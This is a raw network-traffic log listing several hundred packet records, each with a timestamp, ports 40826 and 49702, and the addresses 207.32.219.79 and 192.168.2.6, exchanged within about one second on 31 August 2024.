Aug 31, 2024 18:37:03.912003040 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.912046909 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.912050962 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.912060976 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.912103891 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.912132978 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.914860010 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.952418089 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.953000069 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.002360106 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.002438068 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.048281908 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.048333883 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.060797930 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.060961962 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.067990065 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068000078 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068006992 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068052053 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.068077087 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.068486929 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068582058 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068589926 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068624020 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068633080 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068634033 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.068640947 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068649054 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.068674088 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.068691015 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.082065105 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.083136082 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.083200932 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.088273048 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.088295937 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.088305950 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.088341951 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.088371992 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.088898897 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089018106 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089035034 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089059114 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089067936 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089076042 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089083910 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089092970 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089099884 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089134932 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089235067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089242935 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089251041 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089255095 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089262009 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089270115 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089278936 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089279890 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089286089 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089289904 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089297056 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089303970 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089318037 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089358091 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089781046 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089790106 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089797020 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089803934 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089811087 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089823961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089832067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089835882 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089839935 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.089852095 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089874029 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.089888096 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.093463898 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.093588114 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.093596935 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.093605042 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.093612909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.093620062 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.093641996 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.093686104 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094302893 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094312906 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094320059 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094326973 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094335079 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094341993 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094351053 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094357967 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094366074 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094367027 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094372988 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094377041 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094384909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094386101 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094396114 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094440937 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094671965 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094681025 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094688892 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094696045 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094702959 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094710112 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094717979 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094722033 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094724894 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094733000 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094744921 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094757080 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094774961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094779968 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094789982 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094798088 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094805002 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094813108 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094816923 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094820976 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094840050 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094862938 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094875097 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.094899893 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094907999 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094914913 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094923019 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094933987 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094940901 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094944000 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094947100 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.094959021 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095000029 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095040083 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095048904 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095056057 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095062971 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095071077 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095077038 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095084906 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095093012 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095099926 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095113039 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095139027 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095313072 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095321894 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095330000 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095336914 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095344067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095351934 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095359087 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095366001 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095370054 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095374107 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095385075 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095388889 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095392942 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095401049 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095407963 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095415115 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095422983 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095436096 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095459938 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095515013 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095524073 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095530987 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095539093 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095546961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095555067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095563889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095571995 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095571995 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095576048 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095578909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095582008 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095585108 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095590115 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095609903 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095622063 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095629930 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095638037 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095643044 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095644951 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095653057 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095662117 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095668077 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095698118 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095757961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095767021 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095773935 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095781088 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095788956 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095792055 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095794916 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095798016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095804930 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095810890 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095813990 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095854044 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.095979929 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095988989 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.095997095 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.096004009 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.096012115 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.096014977 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.096052885 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.096077919 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.098680973 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.098723888 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.098906040 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.098947048 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099199057 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099206924 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099214077 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099260092 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099291086 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099313021 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099320889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099363089 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099395037 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099404097 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099445105 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099515915 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099525928 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099533081 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099539995 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099546909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099555016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099565983 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099587917 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099600077 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099606991 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099633932 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099643946 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099651098 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099658012 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099664927 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099672079 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099688053 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099729061 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099735022 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099744081 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099751949 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099759102 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099766016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099772930 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099780083 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099781036 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099790096 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099792957 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099797964 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099806070 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099827051 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099834919 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099838972 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099842072 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099843979 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099848986 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099890947 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.099952936 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099961042 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099968910 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.099976063 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100008965 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100020885 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100153923 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100162983 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100171089 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100178957 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100195885 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100205898 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100244045 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100245953 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100255013 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100261927 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100270033 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100311041 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100378036 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100385904 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100393057 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100400925 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100425959 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100447893 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100523949 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100533009 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100539923 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100553989 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100563049 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100570917 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100573063 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100579977 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100589037 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100598097 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100605011 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100606918 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100614071 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100626945 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100635052 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100642920 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100642920 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100652933 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100656986 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100661039 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100670099 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100692034 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100697994 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100708008 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100714922 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100722075 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100725889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100733995 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100742102 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100744009 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100754976 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100768089 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100781918 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100791931 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100874901 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100883961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100891113 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100898981 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100930929 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100960016 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.100965023 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.100972891 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101011992 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101133108 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101141930 CEST	40826	49702	207.32.219.79	192.168.2.6
